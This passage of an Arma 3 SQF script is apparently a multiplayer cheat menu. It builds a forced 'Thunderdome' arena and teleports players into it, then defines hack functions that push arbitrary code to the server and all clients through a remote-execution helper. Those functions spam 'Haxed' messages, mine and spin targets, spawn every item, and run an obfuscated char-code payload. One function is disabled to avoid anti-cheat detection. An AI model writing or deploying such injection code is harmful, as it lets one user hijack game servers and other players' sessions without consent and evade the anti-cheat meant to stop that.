- patrol_three = [23721,18491,0];
- wreck_one = [23726,18480,0];
- wreck_two = [23725,18382,0];
- wreck_three = [23727,18406,0];
- bunker_one = [23725,18507,0];
- bunker_one_dir = 320;
- bunker_two = [23751,18504,0];
- bunker_two_dir = 135;
- bunker_three = [23750,18480,0];
- bunker_three_dir = 136;
- hq_one = [23752,18403,0];
- hq_one_dir = 45;
- hq_two = [23752,18382,0];
- hq_two_dir = 129;
- default_spawn = [23750,18442,0];
- heli_pos = [23782,18440,0];
- loot_offsets = [
- [-18.0039,-61.125,-10.1811],
- [-17.0313,-45.4668,-8.18818],
- [-18.2246,-46.8105,-5.83704],
- [-14.9707,-37.2402,-10.1811],
- [11.7949,-38.5332,-9.58827],
- [15.2559,-38.7246,-9.45223],
- [14.0625,-61.0625,-9.58827],
- [13.791,-63.5723,-9.45223],
- [1.49414,-52.0742,-7.65442],
- [-1.53125,-51.3223,-7.69202],
- [13.0488,-13.6582,-9.58827],
- [12.3496,-17.082,-9.45223],
- [-1.39258,-1.94727,-7.79428],
- [1.41602,-1.92773,-7.64955],
- [-12.3828,-16,-9.58827],
- [-15.8691,-15.1855,-9.45223],
- [-17.1289,1.04883,-8.18818],
- [-18.0684,-0.878906,-5.83704],
- [-15.4766,12.5195,-9.58827],
- [-15.0488,15.8223,-9.45223],
- [10.3223,14.8223,-9.58827],
- [13.707,14.4844,-9.45223],
- [9.72656,35.4629,-10.0027],
- [11.5137,37.7695,-10.0027],
- [-1.54688,48.1504,-7.75837],
- [1.55469,48.0078,-7.63739],
- [-16.0488,37.3965,-10.1811],
- [-17.0469,49.0039,-8.18818],
- [-17.7324,47.4531,-5.83704],
- [-14.875,64.2383,-10.1811],
- [10.4199,62.2832,-10.1811],
- [12.0313,60.5254,-7.40108]
- ];
- spawn_pos = [
- [23760.4,18437.9,0.00143886],
- [23759.8,18435.6,0.00143886],
- [23758.8,18433.3,0.00143886],
- [23757.1,18431.1,0.00143886],
- [23749.2,18424,0.00143886],
- [23746.9,18422.5,0.00143886],
- [23744.7,18421.8,0.00143886],
- [23744.5,18414.6,0.00143886],
- [23746.4,18414.1,0.00143886],
- [23747.9,18413.1,0.00143886],
- [23749.1,18411.9,0.00143886],
- [23750.3,18410.7,0.00143886],
- [23751.6,18409,0.00143886],
- [23757.1,18402.6,0.00143886],
- [23758.3,18401,0.00143886],
- [23759.1,18399.2,0.00143886],
- [23759.6,18397.1,0.00143886],
- [23760.1,18388,0.00143886],
- [23759.4,18386,0.00143886],
- [23758.3,18384,0.00143886],
- [23751.1,18376.1,0.00143886],
- [23749.1,18374.4,0.00143886],
- [23746.8,18373.2,0.00143886],
- [23743.8,18374.2,0.00143886],
- [23742,18374.6,0.00143886],
- [23738.8,18375.2,0.00143886],
- [23737.2,18375.4,0.00143886],
- [23735.6,18375.7,0.00143886],
- [23732.9,18376.1,0.00143886],
- [23730.6,18376.9,0.00143886],
- [23728.7,18377.9,0.00143886],
- [23720.1,18385.5,0.00143886],
- [23719.4,18387.7,0.00143886],
- [23719.1,18390.6,0.00143886],
- [23720.4,18402.8,0.00143886],
- [23721,18405.6,0.00143886],
- [23722.7,18408.4,0.00143886],
- [23724.9,18410.1,0.00143886],
- [23728.7,18411.1,0.00143886],
- [23731,18411.7,0.00143886],
- [23732.9,18412.2,0.00143886],
- [23733.7,18421.6,0.00143886],
- [23731.3,18422.4,0.00143886],
- [23729.9,18423.3,0.00143886],
- [23722.5,18430.8,0.00143886],
- [23721.1,18432.8,0.00143886],
- [23720.5,18434.3,0.00143886],
- [23719.9,18436.2,0.00143886],
- [23719.4,18438.8,0.00143886],
- [23719.6,18448.4,0.00143886],
- [23720,18451,0.00143886],
- [23721.2,18453.5,0.00143886],
- [23727.7,18460.8,0.00143886],
- [23729.6,18462.1,0.00143886],
- [23731.5,18463,0.00143886],
- [23733.5,18463.3,0.00143886],
- [23733.4,18470.9,0.00143886],
- [23731.3,18471.4,0.00143886],
- [23729.4,18472.5,0.00143886],
- [23727.5,18473.6,0.00143886],
- [23725.6,18475.2,0.00143886],
- [23724,18477.3,0.00143886],
- [23722.7,18479.2,0.00143886],
- [23721.3,18481.4,0.00143886],
- [23720.6,18483.5,0.00143886],
- [23720,18485.8,0.00143886],
- [23719.7,18495.6,0.00143886],
- [23719.8,18498,0.00143886],
- [23720.1,18500.6,0.00143886],
- [23720.8,18502.5,0.00143886],
- [23722,18504.2,0.00143886],
- [23728.3,18510.4,0.00143886],
- [23729.9,18511.4,0.00143886],
- [23731.7,18512.1,0.00143886],
- [23733.9,18512.4,0.00143886],
- [23736.8,18511.8,0.00143886],
- [23738.5,18511.3,0.00143886],
- [23740.4,18510.7,0.00143886],
- [23743,18510.1,0.00143886],
- [23745.4,18509.5,0.00143886],
- [23758.2,18500.7,0.00143886],
- [23759.3,18498.7,0.00143886],
- [23760.2,18488.8,0.00143886],
- [23759.3,18486.3,0.00143886],
- [23758.1,18484.3,0.00143886],
- [23756.4,18482.6,0.00143886],
- [23747.7,18473.4,0.00143886],
- [23746.7,18472.5,0.00143886],
- [23745.7,18471.8,0.00143886],
- [23744.9,18464.4,0.00143886],
- [23746.7,18463.9,0.00143886],
- [23748.4,18463,0.00143886],
- [23749.8,18462,0.00143886],
- [23756.2,18454.6,0.00143886],
- [23757.3,18453.3,0.00143886],
- [23758,18452.2,0.00143886],
- [23758.8,18450.5,0.00143886],
- [23759.6,18447.6,0.00143886]
- ];
- loot_list = [
- ["arifle_Katiba_C_ACO_F","30Rnd_65x39_caselesGEF_green","U_B_GhillieSuit"],
- ["arifle_MXC_F","30Rnd_65x39_caselesGEF_mag","V_TacVest_khk"],
- ["arifle_TRG20_ACO_pointer_F","30Rnd_556x45_Stanag","V_TacVest_brn"],
- ["arifle_Mk20_Holo_F","30Rnd_556x45_Stanag","V_TacVest_blk"],
- ["arifle_MXC_ACO_pointer_sndGEF_F","30Rnd_65x39_caselesGEF_green","V_TacVest_oli"],
- ["arifle_MX_GL_Holo_pointer_sndGEF_F","30Rnd_65x39_caselesGEF_mag","V_TacVest_camo"],
- ["SMG_02_F","30Rnd_9x21_Mag","V_HarnessO_gry"],
- ["SMG_01_Holo_pointer_sndGEF_F","30Rnd_45ACP_Mag_SMG_01","V_TacVest_camo"],
- ["SMG_02_ARCO_pointg_F","30Rnd_9x21_Mag","V_HarnessO_gry"],
- ["hgun_PDW2000_Holo_F","30Rnd_9x21_Mag","V_HarnessOSpec_gry"],
- ["hgun_PDW2000_F","30Rnd_9x21_Mag","V_HarnessO_gry"],
- ["hgun_PDW2000_sndGEF_F","30Rnd_9x21_Mag","V_TacVest_camo"],
- ["hgun_PDW2000_Holo_sndGEF_F","30Rnd_9x21_Mag","V_HarnessOSpec_gry"],
- ["arifle_Katiba_C_ACO_F","30Rnd_65x39_caselesGEF_green","U_B_GhillieSuit"],
- ["arifle_MXC_F","30Rnd_65x39_caselesGEF_mag","V_TacVest_khk"],
- ["arifle_TRG20_ACO_pointer_F","30Rnd_556x45_Stanag","V_TacVest_brn"],
- ["arifle_Mk20_Holo_F","30Rnd_556x45_Stanag","V_TacVest_blk"],
- ["arifle_MXC_ACO_pointer_sndGEF_F","30Rnd_65x39_caselesGEF_green","V_TacVest_oli"],
- ["arifle_MX_GL_Holo_pointer_sndGEF_F","30Rnd_65x39_caselesGEF_mag","V_TacVest_camo"],
- ["SMG_02_F","30Rnd_9x21_Mag","V_HarnessO_gry"],
- ["SMG_01_Holo_pointer_sndGEF_F","30Rnd_45ACP_Mag_SMG_01","V_TacVest_camo"],
- ["SMG_02_ARCO_pointg_F","30Rnd_9x21_Mag","V_HarnessO_gry"],
- ["hgun_PDW2000_Holo_F","30Rnd_9x21_Mag","V_HarnessOSpec_gry"],
- ["hgun_PDW2000_F","30Rnd_9x21_Mag","V_HarnessO_gry"],
- ["hgun_PDW2000_sndGEF_F","30Rnd_9x21_Mag","V_TacVest_camo"],
- ["arifle_MX_GL_ACO_F","30Rnd_65x39_caselesGEF_mag","V_HarnessO_gry"],
- ["arifle_MXC_Holo_F","30Rnd_65x39_caselesGEF_mag_Tracer","V_HarnessOSpec_gry"],
- ["arifle_TRG21_F","30Rnd_556x45_Stanag_Tracer_Red","V_Rangemaster_belt"],
- ["hgun_ACPC2_sndGEF_F","9Rnd_45ACP_Mag","V_PlateCarrierIA2_dgtl"],
- ["SMG_01_ACO_F","30Rnd_9x21_Mag","V_PlateCarrier1_rgr"],
- ["srifle_EBR_DMGEF_F","20Rnd_762x51_Mag","V_HarnessOSpec_brn"],
- ["hgun_PDW2000_Holo_sndGEF_F","30Rnd_9x21_Mag","V_BandollierB_blk"],
- ["arifle_MX_SW_Black_Hamr_pointer_F","100Rnd_65x39_caselesGEF_mag","V_TacVestIR_blk"],
- ["arifle_MXC_Black_F","30Rnd_65x39_caselesGEF_mag_Tracer","V_PlateCarrier3_rgr"],
- ["hgun_Pistol_heavy_02_YorriGEF_F","6Rnd_45ACP_Cylinder","V_PlateCarrier2_rgr"],
- ["hgun_Pistol_heavy_01_MRD_F","11Rnd_45ACP_Mag","V_TacVest_blk_POLICE"],
- ["SMG_02_ARCO_pointg_F","30Rnd_9x21_Mag","V_TacVest_camo"],
- ["arifle_Mk20_GL_ACO_F","30Rnd_556x45_Stanag_Tracer_Green","V_TacVest_oli"],
- ["LMG_Zafir_pointer_F","150Rnd_762x51_Box_Tracer","V_Chestrig_rgr"],
- ["arifle_MX_SW_F","30Rnd_65x39_caselesGEF_mag","V_Chestrig_blk"],
- ["hgun_P07_F","30Rnd_9x21_Mag","V_Chestrig_blk"],
- ["arifle_Katiba_ARCO_pointer_F","30Rnd_65x39_caselesGEF_green_mag_Tracer","V_PlateCarrierIAGL_dgtl"],
- ["hgun_Rook40_sndGEF_F","30Rnd_9x21_Mag","V_PlateCarrierSpec_rgr"],
- ["arifle_MX_F","30Rnd_65x39_caselesGEF_mag_Tracer","V_TacVest_khk"],
- ["arifle_MX_Hamr_pointer_F","30Rnd_65x39_caselesGEF_mag_Tracer","V_HarnessO_gry"],
- ["srifle_LRR_SOGEF_F","7Rnd_408_Mag","V_BandollierB_rgr"]
- ];
- ["Domes"] call {
- DOME = "Land_Dome_Big_F" createVehicle td_center;
- DOME setposatl td_center;
- DOME animate ["Door_3_rot",1];
- DOME animate ["Door_2_rot",1];
- DOME_2 = "Land_Dome_Big_F" createVehicle td_center;
- DOME_2 attachto [DOME,[0,50,0]];
- DOME_2 animate ["Door_2_rot",1];
- DOME_3 = "Land_Dome_Big_F" createVehicle td_center;
- DOME_3 attachto [DOME,[0,-50,0]];
- DOME_3 animate ["Door_3_rot",1];
- };
- ["Interior Buildings"] call {
- WRECK_2 = "Land_Wreck_Offroad2_F" createVehicle wreck_two;
- WRECK_2 setposatl wreck_two;
- WRECK_3 = "Land_Wreck_Skodovka_F" createVehicle wreck_three;
- WRECK_3 setposatl wreck_three;
- HQ_2 = "Land_Research_house_V1_F" createVehicle hq_two;
- HQ_2 setposatl hq_two;
- HQ_2 setdir hq_two_dir;
- HQ = "Land_Medevac_house_V1_F" createVehicle hq_one;
- HQ setposatl hq_one;
- HQ setdir hq_one_dir;
- BUNKER_3 = "Land_BagBunker_Large_F" createVehicle bunker_three;
- BUNKER_3 setposatl bunker_three;
- BUNKER_3 setdir bunker_three_dir;
- BUNKER_2 = "Land_BagBunker_Tower_F" createVehicle bunker_two;
- BUNKER_2 setposatl bunker_two;
- BUNKER_2 setdir bunker_two_dir;
- BUNKER = "Land_BagBunker_Small_F" createVehicle bunker_one;
- BUNKER setposatl bunker_one;
- BUNKER setdir bunker_one_dir;
- WRECK = "Land_Wreck_CarDismantled_F" createVehicle wreck_one;
- WRECK setposatl wreck_one;
- CARGO_3 = "Land_Cargo_House_V1_F" createVehicle td_center;
- CARGO_3 setposatl cargo_three;
- CARGO_3 setdir cargo_three_dir;
- CARGO_4 = "Land_Cargo_House_V1_F" createVehicle td_center;
- CARGO_4 setposatl cargo_four;
- CARGO_4 setdir cargo_four_dir;
- PATROL = "Land_Cargo_Patrol_V1_F" createVehicle td_center;
- PATROL setposatl patrol_one;
- PATROL_2 = "Land_Cargo_Patrol_V1_F" createVehicle td_center;
- PATROL_2 setposatl patrol_two;
- PATROL_3 = "Land_Cargo_Patrol_V1_F" createVehicle td_center;
- PATROL_3 setposatl patrol_three;
- CARGO = "Land_Cargo_House_V2_F" createVehicle td_center;
- CARGO setposatl cargo_one;
- CARGO setdir cargo_one_dir;
- CARGO_2 = "Land_Cargo_House_V2_F" createVehicle td_center;
- CARGO_2 setposatl cargo_two;
- CARGO_2 setdir cargo_two_dir;
- TOWER = "Land_Castle_01_tower_ruinGEF_F" createVehicle td_center;
- TOWER setposatl (getposatl DOME);
- TOWER_3 = "Land_Castle_01_tower_ruinGEF_F" createVehicle td_center;
- TOWER_3 setposatl (getposatl DOME_3);
- TOWER_2 = "Land_Castle_01_tower_ruinGEF_F" createVehicle td_center;
- TOWER_2 setposatl (getposatl DOME_2);
- };
- ["Block Exit Of Dome 2"] call {
- DOOR_BLOCK_2_2 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_2_2 attachto [DOME_2,[-2.792969,23.0508,-9.1811]];
- DOOR_BLOCK_2_3 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_2_3 attachto [DOME_2,[1.792969,23.0508,-9.1811]];
- DOOR_BLOCK_2_4 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_2_4 attachto [DOME_2,[-0.792969,23.0508,-7.1811]];
- DOOR_BLOCK_2_5 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_2_5 attachto [DOME_2,[-0.792969,23.0508,-5.1811]];
- };
- ["Block Exit Of Dome 3"] call {
- DOOR_BLOCK_3_2 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_3_2 attachto [DOME_3,[-2.792969,-23.0508,-9.1811]];
- DOOR_BLOCK_3_3 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_3_3 attachto [DOME_3,[1.792969,-23.0508,-9.1811]];
- DOOR_BLOCK_3_4 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_3_4 attachto [DOME_3,[-0.792969,-23.0508,-7.1811]];
- DOOR_BLOCK_3_5 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_3_5 attachto [DOME_3,[-0.792969,-23.0508,-5.1811]];
- };
- ["Removable Exits"] call {
- DOOR_BLOCK = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK attachto [DOME,[20.4336,-0.151953,-9.1811]];
- DOOR_BLOCK_2 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_2 attachto [DOME_2,[20.4336,-0.151953,-9.1811]];
- DOOR_BLOCK_3 = "BlockConcrete_F" createVehicle td_center;
- DOOR_BLOCK_3 attachto [DOME_3,[20.4336,-0.151953,-9.1811]];
- };
- ["Generate Loot"] call {
- {
- _loot = "groundWeaponHolder" createVehicle [0,0,0];
- _offset = _x;
- _offset set[2,(_x select 2)+0.65];
- _loot attachto [DOME,_offset];
- _lootItem = loot_list select floor(random(count(loot_list)));
- _loot addWeaponCargoGlobal [_lootItem select 0,1];
- _loot addMagazineCargoGlobal [_lootItem select 1,5];
- _loot addItemCargoGlobal [_lootItem select 2,1];
- } forEach loot_offsets;
- };
- ["Teleport Players And Lock Input"] call {
- _getUnits = {
- _units = [];
- {
- if(isplayer _x) then {_units = _units + [_x];};
- } forEach allunits;
- _units;
- };
- _agent = createAgent ["LOGIC",[0,0,0],[],0,"NONE"];
- _agent addMPEventHandler ["MPkilled",{disableuserinput true;titletext["Please Wait...","BLACK"];_x = player;removeallweapons _x;removeallitems _x;removeallassigneditems _x;removeallcontainers _x;removebackpack _x;removeheadgear _x;removegoggles _x;}];
- _agent setDamage 1;
- deleteVehicle _agent;
- {
- _pos = default_spawn;
- if(_forEachIndex < count(spawn_pos)) then {_pos = spawn_pos select _forEachIndex;};
- _x setposatl _pos;
- } forEach (call _getUnits);
- };
- ["Notify Players Of Rules"] call {
- _agent = createAgent ["LOGIC",[0,0,0],[],0,"NONE"];
- _agent addMPEventHandler ["MPkilled",{titlefadeout 0;titletext["After 5 Minutes the doors located at the front of the dome will open and a helicopter will spawn!","BLACK"];}];
- _agent setDamage 1;
- deleteVehicle _agent;
- uiSleep 5;
- _agent = createAgent ["LOGIC",[0,0,0],[],0,"NONE"];
- _agent addMPEventHandler ["MPkilled",{titlefadeout 1;}];
- _agent setDamage 1;
- deleteVehicle _agent;
- };
- ["Start Match"] call {
- _agent = createAgent ["LOGIC",[0,0,0],[],0,"NONE"];
- _agent addMPEventHandler ["MPkilled",{disableuserinput false;cuttext["Let the Thunderdome! Begin!","PLAIN"];}];
- _agent setDamage 1;
- deleteVehicle _agent;
- };
- ["5 Min Timer"] call {
- uiSleep 59*5;
- };
- ["Remove Doors and Spawn Chopper!"] call {
- _heli = "B_Heli_Transport_01_F" createVehicle heli_pos;
- _heli setposatl heli_pos;
- uiSleep 5;
- _agent = createAgent ["LOGIC",[0,0,0],[],0,"NONE"];
- _agent addMPEventHandler ["MPkilled",{cuttext["The Doors Are Now Open! Go Get Your Chopper!","PLAIN"];}];
- _agent setDamage 1;
- deleteVehicle _agent;
- deleteVehicle DOOR_BLOCK;
- deleteVehicle DOOR_BLOCK_2;
- deleteVehicle DOOR_BLOCK_3;
- };
- };
- };
- [_to_Server,false] call GEF_Rmote;
- call _to_Server; //check script error
- hint 'loading thunderdome';
- waitUntil{(markerText "SwagMarker") == ""};
- hint 'thunderdome started!';
- [{waitUntil{!isNil "THUNDER_DOME"};[] spawn THUNDER_DOME;},false] call GEF_Rmote;
- };
- GEF_Tracers = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_TracerGEF_Toggle) then {
- [player,5,true] call mp_drawTracer;
- } else {
- [player,0,true] call mp_drawTracer;
- };
- };
- GEF_Advertise = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- mp_setVar = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _var = _this select 0;
- _val = _this select 1;
- call compile format["%1 = %2;",_var,_val];
- };
- };
- if(isNil 'mp_setVar') then {
- call _code;
- [_code,true] call GEF_Rmote;//Broadcast setVar
- hint 'Setting up command';
- uiSleep 1;
- hint 'Setting up command.';
- uiSleep 1;
- //Set up mp_advert
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- ["mp_advert",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _idd = _this select 0;
- _message = _this select 1;
- while{true} do {
- waitUntil {!isNull (findDisplay _idd)};
- _display = (findDisplay _idd);
- _width = (safezonew);
- _height = (safezoneh/30);
- _x = safezonex+(safezonew/2) - (_width/2);
- _y = safezoney;
- _advert = _display ctrlCreate ["RscStructuredText",-1];
- _advert ctrlsetbackgroundcolor [0,0,0,0];
- _advert ctrlsettextcolor [0,1,1,1];
- _advert ctrlSetPosition[_x,_y,_width,_height];
- _advert ctrlSetStructuredText parseText ("<t align=""center"">"+_message+"</t>");
- _advert ctrlCommit 0;
- waitUntil {isNull (findDisplay _idd)};
- };
- }] call mp_setVar;
- };
- [_code,true] call GEF_Rmote;
- hint 'Setting up command..';
- uiSleep 1;
- hint 'Setting up command...';
- uiSleep 1;
- };
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- for "_i" from 0 to 50 do {
- [_i,"Guess Who Just Got Haxed! You! (-.(-.(-.-).-).-)"] spawn mp_advert;
- };
- };
- [_code,true] call GEF_Rmote;
- hint 'Hacked!';
- };
- GEF_SpinCursorTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNil 'GEF_SpinCursorTarget_FirstRun') then {
- _toServer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- SPIN_TARGET = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this;
- while{true} do {
- _target setDir ((getDir _target)+15);
- uiSleep (1/15);
- };
- };
- };
- [_toServer,false] call GEF_Rmote;
- [_toServer,true] call GEF_Rmote;
- GEF_SpinCursorTarget_FirstRun = true;
- };
- [format["(objectFromNetID '%1') spawn SPIN_TARGET;",netId cursorTarget],false] call GEF_Rmote;
- [format["(objectFromNetID '%1') spawn SPIN_TARGET;",netId cursorTarget],true] call GEF_Rmote;
- };
- GEF_MineTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target_peter_cus = _this call mp_GetObject;
- _pos2 = [0,0,50];
- _xx = -5;
- _y = 5;
- _move = false;
- for '_i' from 0 to 10 do {
- _object = createMine ["APERSMine", _pos2, [], 0];
- _object attachTo [_target_peter_cus,[_xx,_y,3]];
- _objPos = getPosATL _object;
- detach _object;
- _object setPosATL [_objPos select 0, _objPos select 1, .1];
- _object setvectorup [0,0,1];
- _xx = _xx + 1;
- };
- _xx = -5;
- _y = -5;
- for '_i' from 0 to 10 do {
- _object = createMine ["APERSMine", _pos2, [], 0];
- _object attachTo [_target_peter_cus,[_xx,_y,3]];
- _objPos = getPosATL _object;
- detach _object;
- _object setPosATL [_objPos select 0, _objPos select 1, .1];
- _object setvectorup [0,0,1];
- _xx = _xx + 1;
- };
- _xx = -5;
- _y = 5;
- for '_i' from 0 to 10 do {
- _object = createMine ["APERSMine", _pos2, [], 0];
- _object attachTo [_target_peter_cus,[_xx,_y,3]];
- _objPos = getPosATL _object;
- detach _object;
- _object setPosATL [_objPos select 0, _objPos select 1, .1];
- _object setvectorup [0,0,1];
- _y = _y -1;
- };
- _xx = 5;
- _y = 5;
- for '_i' from 0 to 10 do {
- _object = createMine ["APERSMine", _pos2, [], 0];
- _object attachTo [_target_peter_cus,[_xx,_y,3]];
- _objPos = getPosATL _object;
- detach _object;
- _object setPosATL [_objPos select 0, _objPos select 1, .1];
- _object setvectorup [0,0,1];
- _y = _y -1;
- };
- _move =true;
- hint 'The Target Has Been Mined!';
- };
- GEF_hackBox = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- hint 'Loading HackBox-2000...';
- _dir = getdir vehicle player;
- _pos = getPos vehicle player;
- _pos = [(_pos select 0)+1.5*sin(_dir),(_pos select 1)+1.5*cos(_dir),0];
- _box_cus = "box_NATO_AMMO_F" createVehicleLocal _pos;
- clearWeaponCargo _box_cus;
- clearMagazineCargo _box_cus;
- clearItemCargo _box_cus;
- clearBackpackCargo _box_cus;
- _cfgweapons = configFile >> "CfgWeapons";
- _weapons = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _wep_type = getNumber(_cur_wep_cus >> "type");
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _wep_type in [1,2,4,4096] && _cusicture != "" && !(_classname_cus in _weapons) && _classname_cus != "NVGoggles") then
- {
- _weapons set[count _weapons, _classname_cus];
- };
- };
- };
- _cfgweapons = configFile >> "CfgMagazines";
- _magazines = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _cusicture != "" && !(_classname_cus in _magazines)) then
- {
- _magazines set[count _magazines, _classname_cus];
- };
- };
- };
- { _box_cus addWeaponCargo [_x,5]; } foreach _weapons;
- { _box_cus addMagazineCargo [_x,15]; }foreach _magazines;
- _cfgweapons = configFile >> "CfgWeapons";
- _items = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _wep_type = getNumber(_cur_wep_cus >> "type");
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _wep_type in [131072,4096] && _cusicture != "" && !(_classname_cus in _items) && _classname_cus != "Binocular") then
- {
- _items set[count _items, _classname_cus];
- };
- };
- };
- { _box_cus addItemCargo [_x,10]; } foreach _items;
- _cfgweapons = configFile >> "CfgVehicles";
- _backpackGEF_cus = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _wep_type = getText(_cur_wep_cus >> "vehicleClass");
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _wep_type == "Backpacks" && _cusicture != "" && !(_classname_cus in _backpackGEF_cus)) then
- {
- _backpackGEF_cus set[count _backpackGEF_cus, _classname_cus];
- };
- };
- };
- { _box_cus addBackPackCargo [_x,5]; } foreach _backpackGEF_cus;
- hint 'Your HackBox-2000 Has Arrived!';
- };
- mp_centipede = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(mp_centipede_toggle) then {
- _y = -1;
- {
- if(name _x != name player) then {
- _x attachTo [player,[0,_y,0]];
- _y = _y - 2;
- };
- } forEach playableUnits;
- } else {
- {
- if(name _x != name player) then {
- detach _x;
- };
- }forEach playableUnits;
- hint 'Human Centipede OFF!';
- };
- };
- mp_deforestation = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(mp_deforestation_toggle) then {hint 'Fuck Trees!\n\n Am-I-Right?';} else {hint 'Deforestation - OFF';};
- while{mp_deforestation_toggle} do {
- _allNonClassObjects = (nearestObjects [getposatl player,[],20]) - (nearestObjects [getposatl player,["all"],20]);
- {
- if(damage _x < 1) then {
- _text = str _x;
- _isTree = ["t_",_text] call bis_fnc_inString;
- _isBush = ["b_",_text] call bis_fnc_inString;
- _isBushW = ["bw_",_text] call bis_fnc_inString;
- if(_isTree || _isBushW || _isBush) then {
- _x setDamage 1;
- };
- };
- } forEach _allNonClassObjects;
- };
- };
- mp_Map_Drawing = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _display = findDisplay 12;
- _ctrl = _display displayCtrl 51;
- if(mp_Map_Drawing_Toggle) then {
- hint 'Click the map to draw with markers!';
- _ctrl ctrlAddEventHandler["MouseButtonDown",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _key = _this select 1;
- if(_key == 0) then {
- mp_Map_Drawing_KeyDown = true;
- };
- }];
- _ctrl ctrlAddEventHandler["MouseButtonUp",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _key = _this select 1;
- if(_key == 0) then {
- mp_Map_Drawing_KeyDown = false;
- };
- }];
- _ctrl ctrlAddEventHandler["MouseMoving",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(mp_Map_Drawing_KeyDown) then {
- _map = _this select 0;
- _x = _this select 1;
- _y = _this select 2;
- _worldPos = _map ctrlMapScreenToWorld [_x,_y];
- _name = str(random(1000000)) + "_swag";
- _mark = createMarker [_name,_worldPos];
- _mark setMarkerType "waypoint";
- _mark setMarkerPos _worldPos;
- _mark setMarkerSize [0.75,0.75];
- _mark setMarkerColor "ColorBlue";
- };
- }];
- } else {
- hint 'Map Drawing OFF';
- _ctrl ctrlRemoveAllEventHandlers "MouseButtonUp";
- _ctrl ctrlRemoveAllEventHandlers "MouseMoving";
- _ctrl ctrlRemoveAllEventHandlers "MouseButtonDown";
- };
- };
- GEF_Infect = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- /*_target = _this call mp_GetObject;
- [{hint "loading infection...";},_target] call GEF_Rmote;
- [{LYINFECT_AllowInfectOthers = false;},_target] call GEF_Rmote;
- [LYINFECT_Infect,_target] call GEF_Rmote;
- ["TaskSucceeded",["","The Target Has Been Infected!"]] call bis_fnc_showNotification;
- */
- hint 'Disabled Due To Detection';
- };
- GEF_Nuke = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- nuke_var = true;
- _clients = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compileFinal toString [105,102,40,33,105,115,78,105,108,32,34,110,117,107,101,95,118,97,114,34,41,32,116,104,101,110,32,123,13,10,9,9,9,9,9,9,111,112,101,110,77,97,112,32,91,116,114,117,101,44,102,97,108,115,101,93,59,13,10,9,9,9,9,9,9,110,117,107,101,95,118,97,114,32,61,32,110,105,108,59,13,10,9,9,9,9,9,125,59];
